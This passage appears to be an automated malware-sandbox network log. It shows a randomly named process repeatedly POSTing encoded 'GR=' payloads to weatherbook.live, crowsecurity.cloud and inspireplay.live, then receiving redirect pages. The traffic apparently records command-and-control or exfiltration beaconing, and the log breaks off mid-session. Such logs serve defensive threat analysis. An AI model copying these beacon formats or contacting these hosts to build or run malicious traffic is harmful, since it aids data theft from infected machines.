                                        Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 47 52 3d 4f 74 44 65 4e 78 70 53 66 4b 6f 64 77 54 49 75 34 6e 6e 41 2b 75 78 36 65 6e 55 50 36 50 70 6c 64 72 42 30 50 52 6a 31 6c 34 2b 46 68 37 77 4c 58 6e 34 43 2b 55 36 69 49 4f 43 7a 47 36 7a 57 53 33 55 73 50 34 71 38 41 4b 46 41 30 34 53 62 55 7a 4a 2b 66 62 64 35 54 63 31 45 75 4a 62 59 6f 48 59 58 6f 77 77 64 6d 52 6f 42 63 79 56 4f 36 2f 4c 7a 71 4d 6f 3d 26 58 66 3d 34 5a 74 34 74 76 44 78 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e
                                        Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?GR=OtDeNxpSfKodwTIu4nnA+ux6enUP6PpldrB0PRj1l4+Fh7wLXn4C+U6iIOCzG6zWS3UsP4q8AKFA04SbUzJ+fbd5Tc1EuJbYoHYXowwdmRoBcyVO6/LzqMo=&Xf=4Zt4tvDx"}</script></head></html>


                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                        5192.168.2.4497433.33.130.19080932C:\Program Files (x86)\ZTrSozSWRqvZnnRbCkpCHiOfkZhEZRaCrdDNKEhghmBlaOOBvvdOe\WrtyZOtiIHMYio.exe
                                        TimestampBytes transferredDirectionData
                                        Sep 19, 2024 15:04:46.583815098 CEST780OUTPOST /4hiy/ HTTP/1.1
                                        Host: www.weatherbook.live
                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                        Accept-Language: en-us
                                        Accept-Encoding: gzip, deflate
                                        Origin: http://www.weatherbook.live
                                        Content-Type: application/x-www-form-urlencoded
                                        Connection: close
                                        Cache-Control: no-cache
                                        Content-Length: 199
                                        Referer: http://www.weatherbook.live/4hiy/
                                        User-Agent: Mozilla/4.0 (compatible; MSIE 11.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
                                        Data Raw: 47 52 3d 38 35 57 57 4c 4a 50 42 72 58 69 36 45 70 54 58 30 7a 64 54 67 35 56 50 39 6b 55 75 37 51 77 35 59 39 4c 6d 6c 76 49 64 55 76 43 6f 33 55 57 56 50 77 73 4e 6b 61 44 54 52 70 34 6e 59 58 4b 72 45 75 71 38 49 41 55 31 48 65 2b 2f 70 44 57 78 33 51 43 41 41 72 6a 2f 45 44 2b 6a 37 4c 4d 46 79 59 47 51 2f 59 30 41 35 4a 57 73 48 6e 2b 48 48 4f 6d 71 42 62 47 74 49 49 76 63 4e 55 56 53 4a 76 39 72 33 39 7a 74 76 30 71 45 6c 43 78 32 74 6e 30 35 35 61 6a 38 56 5a 78 32 7a 47 71 56 59 4a 76 69 42 49 65 6f 59 4e 61 73 77 49 6c 2b 41 4e 72 42 5a 38 53 68 6e 68 45 65 6d 33 76 6f 6b 77 3d 3d
                                        Data Ascii: GR=85WWLJPBrXi6EpTX0zdTg5VP9kUu7Qw5Y9LmlvIdUvCo3UWVPwsNkaDTRp4nYXKrEuq8IAU1He+/pDWx3QCAArj/ED+j7LMFyYGQ/Y0A5JWsHn+HHOmqBbGtIIvcNUVSJv9r39ztv0qElCx2tn055aj8VZx2zGqVYJviBIeoYNaswIl+ANrBZ8ShnhEem3vokw==


                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                        6192.168.2.4497443.33.130.19080932C:\Program Files (x86)\ZTrSozSWRqvZnnRbCkpCHiOfkZhEZRaCrdDNKEhghmBlaOOBvvdOe\WrtyZOtiIHMYio.exe
                                        TimestampBytes transferredDirectionData
                                        Sep 19, 2024 15:04:49.162589073 CEST800OUTPOST /4hiy/ HTTP/1.1
                                        Host: www.weatherbook.live
                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                        Accept-Language: en-us
                                        Accept-Encoding: gzip, deflate
                                        Origin: http://www.weatherbook.live
                                        Content-Type: application/x-www-form-urlencoded
                                        Connection: close
                                        Cache-Control: no-cache
                                        Content-Length: 219
                                        Referer: http://www.weatherbook.live/4hiy/
                                        User-Agent: Mozilla/4.0 (compatible; MSIE 11.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
                                        Data Raw: 47 52 3d 38 35 57 57 4c 4a 50 42 72 58 69 36 46 4a 44 58 7a 51 31 54 6c 5a 56 4d 7a 45 55 75 69 41 77 39 59 39 48 6d 6c 72 34 4e 55 38 71 6f 30 78 53 56 4f 78 73 4e 6e 61 44 54 4a 5a 34 6d 48 48 4c 6e 45 75 33 63 49 42 6f 31 48 61 57 2f 70 44 6d 78 30 68 43 44 47 37 6a 35 4f 54 2b 6c 6b 62 4d 46 79 59 47 51 2f 59 67 36 35 4a 65 73 48 55 57 48 45 72 61 74 43 62 47 75 42 6f 76 63 61 45 56 57 4a 76 38 4d 33 35 7a 58 76 78 75 45 6c 41 70 32 71 31 51 34 67 71 6a 36 4c 70 77 45 39 33 48 37 55 72 7a 7a 42 72 53 4b 47 2f 53 37 78 4f 30 6b 52 38 4b 57 4c 38 32 53 36 6d 4e 71 72 30 53 68 2f 38 6b 33 74 45 4d 47 58 30 65 79 74 73 74 6d 67 32 48 31 53 78 67 3d
                                        Data Ascii: GR=85WWLJPBrXi6FJDXzQ1TlZVMzEUuiAw9Y9Hmlr4NU8qo0xSVOxsNnaDTJZ4mHHLnEu3cIBo1HaW/pDmx0hCDG7j5OT+lkbMFyYGQ/Yg65JesHUWHEratCbGuBovcaEVWJv8M35zXvxuElAp2q1Q4gqj6LpwE93H7UrzzBrSKG/S7xO0kR8KWL82S6mNqr0Sh/8k3tEMGX0eytstmg2H1Sxg=


                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                        7192.168.2.4497453.33.130.19080932C:\Program Files (x86)\ZTrSozSWRqvZnnRbCkpCHiOfkZhEZRaCrdDNKEhghmBlaOOBvvdOe\WrtyZOtiIHMYio.exe
                                        TimestampBytes transferredDirectionData
                                        Sep 19, 2024 15:04:51.846611977 CEST10882OUTPOST /4hiy/ HTTP/1.1
                                        Host: www.weatherbook.live
                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                        Accept-Language: en-us
                                        Accept-Encoding: gzip, deflate
                                        Origin: http://www.weatherbook.live
                                        Content-Type: application/x-www-form-urlencoded
                                        Connection: close
                                        Cache-Control: no-cache
                                        Content-Length: 10299
                                        Referer: http://www.weatherbook.live/4hiy/
                                        User-Agent: Mozilla/4.0 (compatible; MSIE 11.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
                                        Data Raw: 47 52 3d 38 35 57 57 4c 4a 50 42 72 58 69 36 46 4a 44 58 7a 51 31 54 6c 5a 56 4d 7a 45 55 75 69 41 77 39 59 39 48 6d 6c 72 34 4e 55 38 79 6f 30 48 75 56 50 53 30 4e 6d 61 44 54 58 70 34 6a 48 48 4c 71 45 75 2f 51 49 42 6c 41 48 59 75 2f 76 69 47 78 2f 31 32 44 49 37 6a 35 47 7a 2b 6b 37 4c 4d 51 79 59 57 55 2f 59 77 36 35 4a 65 73 48 52 53 48 54 75 6d 74 4f 37 47 74 49 49 76 51 4e 55 56 2b 4a 76 30 32 33 35 6e 48 76 43 57 45 6c 6a 52 32 72 47 30 34 2f 61 6a 34 4b 70 77 63 39 33 4c 34 55 72 2b 66 42 6f 4f 77 47 39 4f 37 78 2f 42 53 4b 4d 57 32 5a 4f 32 33 6d 45 55 4d 73 54 71 78 6e 2b 42 4c 68 78 6f 4d 46 51 47 62 6d 50 63 45 38 7a 72 4a 42 6c 53 55 75 4d 38 64 63 78 48 49 57 51 4d 49 50 54 67 45 4b 35 52 6d 69 6b 6e 48 68 6a 72 61 72 63 50 4b 6c 6c 47 49 54 64 74 50 48 47 46 4a 72 73 6c 56 43 73 30 44 59 44 37 56 39 38 64 68 72 45 33 39 63 63 48 46 7a 70 4d 69 32 7a 6a 78 71 66 50 4b 4c 72 53 51 6a 50 74 38 36 2b 41 46 31 54 68 77 6a 4d 6c 4c 70 35 61 44 58 72 54 6a 70 55 41 38 69 4e 6a 48 5a 31 64 [TRUNCATED]
                                        Data Ascii: GR=85WWLJPBrXi6FJDXzQ1TlZVMzEUuiAw9Y9Hmlr4NU8yo0HuVPS0NmaDTXp4jHHLqEu/QIBlAHYu/viGx/12DI7j5Gz+k7LMQyYWU/Yw65JesHRSHTumtO7GtIIvQNUV+Jv0235nHvCWEljR2rG04/aj4Kpwc93L4Ur+fBoOwG9O7x/BSKMW2ZO23mEUMsTqxn+BLhxoMFQGbmPcE8zrJBlSUuM8dcxHIWQMIPTgEK5RmiknHhjrarcPKllGITdtPHGFJrslVCs0DYD7V98dhrE39ccHFzpMi2zjxqfPKLrSQjPt86+AF1ThwjMlLp5aDXrTjpUA8iNjHZ1duE0li5ar1GXUTOaaWFe+vkgrGsRWD9R3Pd3wr2UoaPX+7cJA5oy7CLBABNOVmtbIzy1is3T770DVirt85dB7q1iJjUTFe4HMkyf7upG/XJ5db9Wtopr9BJS/ezEK54ySzvBGwEQxnKHpIxIXjDbySblChOuR7Nmlpe043oSTJwSEcXzv+oCfAlH/kTTM+BfY+4QwOBE/euCJQ9C3IMCkcGiItgdHJYhiatyrCcwce/Ao/iZbtEAQZHG4mOto7VwnUeS1b6IQNLsaCl6bdm6Vl9lRo0+7Y/N/8a3pcpHvBZl9WPky8ILKHLQMw1haKFEaUZXdmTF0aQ9rY8fd3XFrtx+RwlzosjBFFPmGhe/Nj47ICYbQiG5HcjGZDnxud+daEsgPeC6GlsgfcMPDhyEdUWOvFXWwLMHrzVhFogLvOlkctQnTKsbzksVCBSS1BqWqjdwLgyVifKXpGnGZcP2ViRm0Jch+P+Yw6EvSXH+0Phahf6uEZVQACoSla7nK7BYdDyI8Px0V5hBs+96XRqNfsw82ou7jkvDHXulgcGju8Gw2RimdbgRiChVNvYOr1oyomHflS54rdIMowVsXWsWG/9TE/NKkuDNpb4P3LJ7KtLdybAaAaKdQLbW0rYpNc7j0ah54O5Dww6uCH62yoZW2/8466Mls6gI9tq [TRUNCATED]


                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                        8192.168.2.4497463.33.130.19080932C:\Program Files (x86)\ZTrSozSWRqvZnnRbCkpCHiOfkZhEZRaCrdDNKEhghmBlaOOBvvdOe\WrtyZOtiIHMYio.exe
                                        TimestampBytes transferredDirectionData
                                        Sep 19, 2024 15:04:54.394433975 CEST508OUTGET /4hiy/?Xf=4Zt4tvDx&GR=x7+2I8SGsUecCMiSjTFbl5lp6Hdc+2w1VtibsJt/MsyL3kCUaBIR7/SGJ6EjRkH0LM2kKQMRMq/OnwKr8gWiX4rGIBeWvoECrZmU86sauZftBWicToOcLZk= HTTP/1.1
                                        Host: www.weatherbook.live
                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                        Accept-Language: en-us
                                        Connection: close
                                        User-Agent: Mozilla/4.0 (compatible; MSIE 11.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
                                        Sep 19, 2024 15:04:55.050273895 CEST390INHTTP/1.1 200 OK
                                        Server: openresty
                                        Date: Thu, 19 Sep 2024 13:04:54 GMT
                                        Content-Type: text/html
                                        Content-Length: 250
                                        Connection: close
                                        Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 58 66 3d 34 5a 74 34 74 76 44 78 26 47 52 3d 78 37 2b 32 49 38 53 47 73 55 65 63 43 4d 69 53 6a 54 46 62 6c 35 6c 70 36 48 64 63 2b 32 77 31 56 74 69 62 73 4a 74 2f 4d 73 79 4c 33 6b 43 55 61 42 49 52 37 2f 53 47 4a 36 45 6a 52 6b 48 30 4c 4d 32 6b 4b 51 4d 52 4d 71 2f 4f 6e 77 4b 72 38 67 57 69 58 34 72 47 49 42 65 57 76 6f 45 43 72 5a 6d 55 38 36 73 61 75 5a 66 74 42 57 69 63 54 6f 4f 63 4c 5a 6b 3d 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e
                                        Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?Xf=4Zt4tvDx&GR=x7+2I8SGsUecCMiSjTFbl5lp6Hdc+2w1VtibsJt/MsyL3kCUaBIR7/SGJ6EjRkH0LM2kKQMRMq/OnwKr8gWiX4rGIBeWvoECrZmU86sauZftBWicToOcLZk="}</script></head></html>


                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                        9192.168.2.4497473.33.130.19080932C:\Program Files (x86)\ZTrSozSWRqvZnnRbCkpCHiOfkZhEZRaCrdDNKEhghmBlaOOBvvdOe\WrtyZOtiIHMYio.exe
                                        TimestampBytes transferredDirectionData
                                        Sep 19, 2024 15:05:00.207041025 CEST786OUTPOST /jvjp/ HTTP/1.1
                                        Host: www.crowsecurity.cloud
                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                        Accept-Language: en-us
                                        Accept-Encoding: gzip, deflate
                                        Origin: http://www.crowsecurity.cloud
                                        Content-Type: application/x-www-form-urlencoded
                                        Connection: close
                                        Cache-Control: no-cache
                                        Content-Length: 199
                                        Referer: http://www.crowsecurity.cloud/jvjp/
                                        User-Agent: Mozilla/4.0 (compatible; MSIE 11.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
                                        Data Raw: 47 52 3d 31 5a 52 73 70 62 35 2f 69 51 77 38 53 44 69 4b 54 65 59 64 52 46 6d 55 45 54 39 43 57 4d 35 6d 54 36 43 52 59 49 57 2b 6e 67 70 58 45 68 2b 61 69 76 64 66 73 67 77 44 47 6f 5a 64 33 4c 54 78 2f 73 61 2b 6a 42 51 36 50 6e 38 56 6e 57 78 50 39 44 78 6c 46 66 64 47 4e 68 4d 4b 76 6e 74 52 69 45 2b 35 64 78 4f 69 70 64 66 6e 6a 4d 59 6d 6a 62 65 6e 56 69 70 66 73 6e 33 50 75 68 7a 2f 54 44 6e 38 6c 4b 57 53 78 62 4f 66 53 6a 44 32 31 4b 2f 51 74 6b 79 53 55 2f 75 46 62 6a 46 35 33 6a 65 30 31 65 66 70 71 48 72 54 50 38 59 6d 79 69 51 73 54 75 36 63 4b 66 34 46 72 64 31 2b 6c 51 3d 3d
                                        Data Ascii: GR=1ZRspb5/iQw8SDiKTeYdRFmUET9CWM5mT6CRYIW+ngpXEh+aivdfsgwDGoZd3LTx/sa+jBQ6Pn8VnWxP9DxlFfdGNhMKvntRiE+5dxOipdfnjMYmjbenVipfsn3Puhz/TDn8lKWSxbOfSjD21K/QtkySU/uFbjF53je01efpqHrTP8YmyiQsTu6cKf4Frd1+lQ==


                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                        10192.168.2.4497483.33.130.19080932C:\Program Files (x86)\ZTrSozSWRqvZnnRbCkpCHiOfkZhEZRaCrdDNKEhghmBlaOOBvvdOe\WrtyZOtiIHMYio.exe
                                        TimestampBytes transferredDirectionData
                                        Sep 19, 2024 15:05:03.611510992 CEST806OUTPOST /jvjp/ HTTP/1.1
                                        Host: www.crowsecurity.cloud
                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                        Accept-Language: en-us
                                        Accept-Encoding: gzip, deflate
                                        Origin: http://www.crowsecurity.cloud
                                        Content-Type: application/x-www-form-urlencoded
                                        Connection: close
                                        Cache-Control: no-cache
                                        Content-Length: 219
                                        Referer: http://www.crowsecurity.cloud/jvjp/
                                        User-Agent: Mozilla/4.0 (compatible; MSIE 11.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
                                        Data Raw: 47 52 3d 31 5a 52 73 70 62 35 2f 69 51 77 38 54 69 79 4b 56 35 45 64 47 31 6d 54 4b 7a 39 43 59 73 35 69 54 36 4f 52 59 4a 53 75 6d 57 78 58 64 45 43 61 74 4c 78 66 76 67 77 44 4f 49 5a 59 34 72 54 76 2f 73 65 32 6a 46 59 36 50 6e 6f 56 6e 53 31 50 2b 30 74 69 44 66 64 59 59 78 4d 49 72 6e 74 52 69 45 2b 35 64 78 71 49 70 64 48 6e 69 39 49 6d 79 4b 65 6b 63 43 70 63 72 6e 33 50 71 68 7a 37 54 44 6e 4b 6c 4c 4b 38 78 59 6d 66 53 68 4c 32 31 62 2f 58 32 55 79 63 51 2f 76 49 4e 6a 34 68 78 43 76 6d 79 49 50 59 31 30 4b 78 4f 36 4a 38 6a 54 78 37 42 75 65 76 58 59 78 78 6d 65 49 33 2b 51 67 4f 67 6a 43 7a 46 6a 58 59 70 32 6c 41 68 39 4c 48 44 33 6b 3d
                                        Data Ascii: GR=1ZRspb5/iQw8TiyKV5EdG1mTKz9CYs5iT6ORYJSumWxXdECatLxfvgwDOIZY4rTv/se2jFY6PnoVnS1P+0tiDfdYYxMIrntRiE+5dxqIpdHni9ImyKekcCpcrn3Pqhz7TDnKlLK8xYmfShL21b/X2UycQ/vINj4hxCvmyIPY10KxO6J8jTx7BuevXYxxmeI3+QgOgjCzFjXYp2lAh9LHD3k=


                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                        11192.168.2.4497493.33.130.19080932C:\Program Files (x86)\ZTrSozSWRqvZnnRbCkpCHiOfkZhEZRaCrdDNKEhghmBlaOOBvvdOe\WrtyZOtiIHMYio.exe
                                        TimestampBytes transferredDirectionData
                                        Sep 19, 2024 15:05:06.151710987 CEST10888OUTPOST /jvjp/ HTTP/1.1
                                        Host: www.crowsecurity.cloud
                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                        Accept-Language: en-us
                                        Accept-Encoding: gzip, deflate
                                        Origin: http://www.crowsecurity.cloud
                                        Content-Type: application/x-www-form-urlencoded
                                        Connection: close
                                        Cache-Control: no-cache
                                        Content-Length: 10299
                                        Referer: http://www.crowsecurity.cloud/jvjp/
                                        User-Agent: Mozilla/4.0 (compatible; MSIE 11.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
                                        Data Raw: 47 52 3d 31 5a 52 73 70 62 35 2f 69 51 77 38 54 69 79 4b 56 35 45 64 47 31 6d 54 4b 7a 39 43 59 73 35 69 54 36 4f 52 59 4a 53 75 6d 57 4a 58 42 6d 61 61 73 73 6c 66 75 67 77 44 4e 49 5a 5a 34 72 53 71 2f 6f 36 79 6a 46 63 4d 50 6c 51 56 6d 78 39 50 2f 47 46 69 57 76 64 59 41 42 4d 4c 76 6e 73 4a 69 41 69 39 64 78 61 49 70 64 48 6e 69 2b 41 6d 69 72 65 6b 51 69 70 66 73 6e 33 44 75 68 79 6d 54 44 50 61 6c 4c 65 43 78 6f 47 66 53 42 62 32 79 74 44 58 72 6b 79 4a 64 66 75 62 4e 6a 30 41 78 47 33 55 79 49 54 2b 31 7a 36 78 50 65 49 33 2b 41 46 53 63 74 75 4c 4d 50 64 4f 76 4f 73 74 36 78 67 6d 74 44 33 7a 65 43 75 31 69 47 63 57 35 38 44 36 55 77 63 45 6c 54 64 74 4d 57 61 32 56 70 73 53 6f 4c 35 4d 6b 4a 6e 55 4e 35 36 78 61 53 37 2b 7a 44 31 37 78 4b 2f 74 4b 57 61 7a 46 4e 74 57 50 51 69 48 6d 39 49 69 42 4d 69 52 4d 56 50 47 6d 53 56 50 4f 32 7a 65 36 55 71 55 69 43 66 33 66 49 6a 39 33 76 56 73 48 73 4b 33 69 31 6a 4a 31 52 2b 51 48 74 72 69 37 4f 57 77 30 59 38 6f 36 4a 6f 6b 30 50 6c 36 54 56 44 [TRUNCATED]
                                        Data Ascii: GR=1ZRspb5/iQw8TiyKV5EdG1mTKz9CYs5iT6ORYJSumWJXBmaasslfugwDNIZZ4rSq/o6yjFcMPlQVmx9P/GFiWvdYABMLvnsJiAi9dxaIpdHni+AmirekQipfsn3DuhymTDPalLeCxoGfSBb2ytDXrkyJdfubNj0AxG3UyIT+1z6xPeI3+AFSctuLMPdOvOst6xgmtD3zeCu1iGcW58D6UwcElTdtMWa2VpsSoL5MkJnUN56xaS7+zD17xK/tKWazFNtWPQiHm9IiBMiRMVPGmSVPO2ze6UqUiCf3fIj93vVsHsK3i1jJ1R+QHtri7OWw0Y8o6Jok0Pl6TVDOVtF5CjUi1SEsUAklonpuOLsJ2ByS0Owe6QSkPHvP9vr7MfNFLESIpN096341tPedALlFvgPygiVg2me6u+Bv3V+/62B+WVLcSLVZUjgVp55AofqKrH8f8/RLnX2TnAGTI/BzR3D7jMTz0z9IcLqFcC7g11lSsa4eyhx2vE31H8OdLBsYlHuoaQFD8sJ+zK8Ls3RszNlpdQglnLy448WXFoigLRNP2WypyekLy+fhV1YQlfYW0f2MeWXJkCE/NBTmGJ2vmGwoOKhiiVtxvFST3rVG5iIh213M2cKYROZiyvesuWGQePKWxl3Hi1O7U0ss45DxVlQSw/ygFifTOy0UFdsneGUCOQJ6QqP/rcILonS+1RJxvvc6YSIoyhVdYDh5q3orAKDm6sArme1YphzvRg72amJYTsNVPN0LRjy1mguRZlG378GcOfbS4Wi8gfbSp6TBxmvQi2/UR+4qx1fgHYAk6MYUTAmsSOsw3PdEeM1cW7lBsz5fhlN6HTygpC44Q5kUxYFGJBcAMLNS+5JPUNiiGYHuDyJCXEZUg11cdaj3Z5qaRfmBIwTg7Dijvoo5rf7zZuvYfSOBha06QPakRfOZMToesq1GJKHaAZjwIwV/O45CuH3seJuFk39gFmTKv5HxqXSZ5yWrTFlFIX47OXUtP4vAPekyy [TRUNCATED]


                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                        12192.168.2.4497503.33.130.19080932C:\Program Files (x86)\ZTrSozSWRqvZnnRbCkpCHiOfkZhEZRaCrdDNKEhghmBlaOOBvvdOe\WrtyZOtiIHMYio.exe
                                        TimestampBytes transferredDirectionData
                                        Sep 19, 2024 15:05:08.691410065 CEST510OUTGET /jvjp/?GR=4b5MqvIelA8yeSWKDPRIdHesNV5XUrpBTJ6STZ7OqVlET0aP4dQGxyJ8Yal1yomp/rzgkCoCCWVuqR9lxGRqCv57Hh5Ivk5Sj0mDZDuer/ujvu4zkb6QZi8=&Xf=4Zt4tvDx HTTP/1.1
                                        Host: www.crowsecurity.cloud
                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                        Accept-Language: en-us
                                        Connection: close
                                        User-Agent: Mozilla/4.0 (compatible; MSIE 11.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
                                        Sep 19, 2024 15:05:09.151743889 CEST390INHTTP/1.1 200 OK
                                        Server: openresty
                                        Date: Thu, 19 Sep 2024 13:05:09 GMT
                                        Content-Type: text/html
                                        Content-Length: 250
                                        Connection: close
                                        Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 47 52 3d 34 62 35 4d 71 76 49 65 6c 41 38 79 65 53 57 4b 44 50 52 49 64 48 65 73 4e 56 35 58 55 72 70 42 54 4a 36 53 54 5a 37 4f 71 56 6c 45 54 30 61 50 34 64 51 47 78 79 4a 38 59 61 6c 31 79 6f 6d 70 2f 72 7a 67 6b 43 6f 43 43 57 56 75 71 52 39 6c 78 47 52 71 43 76 35 37 48 68 35 49 76 6b 35 53 6a 30 6d 44 5a 44 75 65 72 2f 75 6a 76 75 34 7a 6b 62 36 51 5a 69 38 3d 26 58 66 3d 34 5a 74 34 74 76 44 78 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e
                                        Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?GR=4b5MqvIelA8yeSWKDPRIdHesNV5XUrpBTJ6STZ7OqVlET0aP4dQGxyJ8Yal1yomp/rzgkCoCCWVuqR9lxGRqCv57Hh5Ivk5Sj0mDZDuer/ujvu4zkb6QZi8=&Xf=4Zt4tvDx"}</script></head></html>


                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                        13192.168.2.4497513.33.130.19080932C:\Program Files (x86)\ZTrSozSWRqvZnnRbCkpCHiOfkZhEZRaCrdDNKEhghmBlaOOBvvdOe\WrtyZOtiIHMYio.exe
                                        TimestampBytes transferredDirectionData
                                        Sep 19, 2024 15:05:14.210433006 CEST780OUTPOST /p8sm/ HTTP/1.1
                                        Host: www.inspireplay.live
                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                        Accept-Language: en-us
                                        Accept-Encoding: gzip, deflate
                                        Origin: http://www.inspireplay.live
                                        Content-Type: application/x-www-form-urlencoded
                                        Connection: close
                                        Cache-Control: no-cache
                                        Content-Length: 199
                                        Referer: http://www.inspireplay.live/p8sm/
                                        User-Agent: Mozilla/4.0 (compatible; MSIE 11.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
                                        Data Raw: 47 52 3d 74 73 31 52 55 73 37 50 73 74 55 37 43 6e 46 67 30 30 47 33 36 48 34 75 62 32 43 4b 45 77 30 4b 43 6f 62 46 42 5a 45 48 38 43 70 66 6e 51 6f 69 71 59 5a 30 6e 6e 2f 77 6c 31 42 34 4b 57 44 57 36 71 32 2b 69 63 77 66 4d 54 49 78 75 66 31 6d 6a 79 44 59 46 50 32 6e 6b 65 70 50 75 4d 70 54 42 4b 35 55 78 59 76 71 4f 4b 63 72 77 4c 58 4f 73 42 46 47 4c 6c 6d 37 49 52 6e 6b 52 33 77 2f 32 76 49 55 68 76 52 5a 73 64 47 66 77 65 38 72 63 77 43 6d 4a 62 61 71 51 4b 57 43 75 7a 2b 67 77 6b 51 30 61 6b 58 7a 43 45 75 34 61 44 59 74 34 4d 31 36 73 75 67 54 44 2b 43 6a 6b 46 30 39 71 67 3d 3d
                                        Data Ascii: GR=ts1RUs7PstU7CnFg00G36H4ub2CKEw0KCobFBZEH8CpfnQoiqYZ0nn/wl1B4KWDW6q2+icwfMTIxuf1mjyDYFP2nkepPuMpTBK5UxYvqOKcrwLXOsBFGLlm7IRnkR3w/2vIUhvRZsdGfwe8rcwCmJbaqQKWCuz+gwkQ0akXzCEu4aDYt4M16sugTD+CjkF09qg==


                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                        14192.168.2.4497523.33.130.19080932C:\Program Files (x86)\ZTrSozSWRqvZnnRbCkpCHiOfkZhEZRaCrdDNKEhghmBlaOOBvvdOe\WrtyZOtiIHMYio.exe
                                        TimestampBytes transferredDirectionData
                                        Sep 19, 2024 15:05:16.802388906 CEST800OUTPOST /p8sm/ HTTP/1.1
                                        Host: www.inspireplay.live
                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                        Accept-Language: en-us
                                        Accept-Encoding: gzip, deflate
                                        Origin: http://www.inspireplay.live
                                        Content-Type: application/x-www-form-urlencoded
                                        Connection: close
                                        Cache-Control: no-cache
                                        Content-Length: 219
                                        Referer: http://www.inspireplay.live/p8sm/
                                        User-Agent: Mozilla/4.0 (compatible; MSIE 11.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
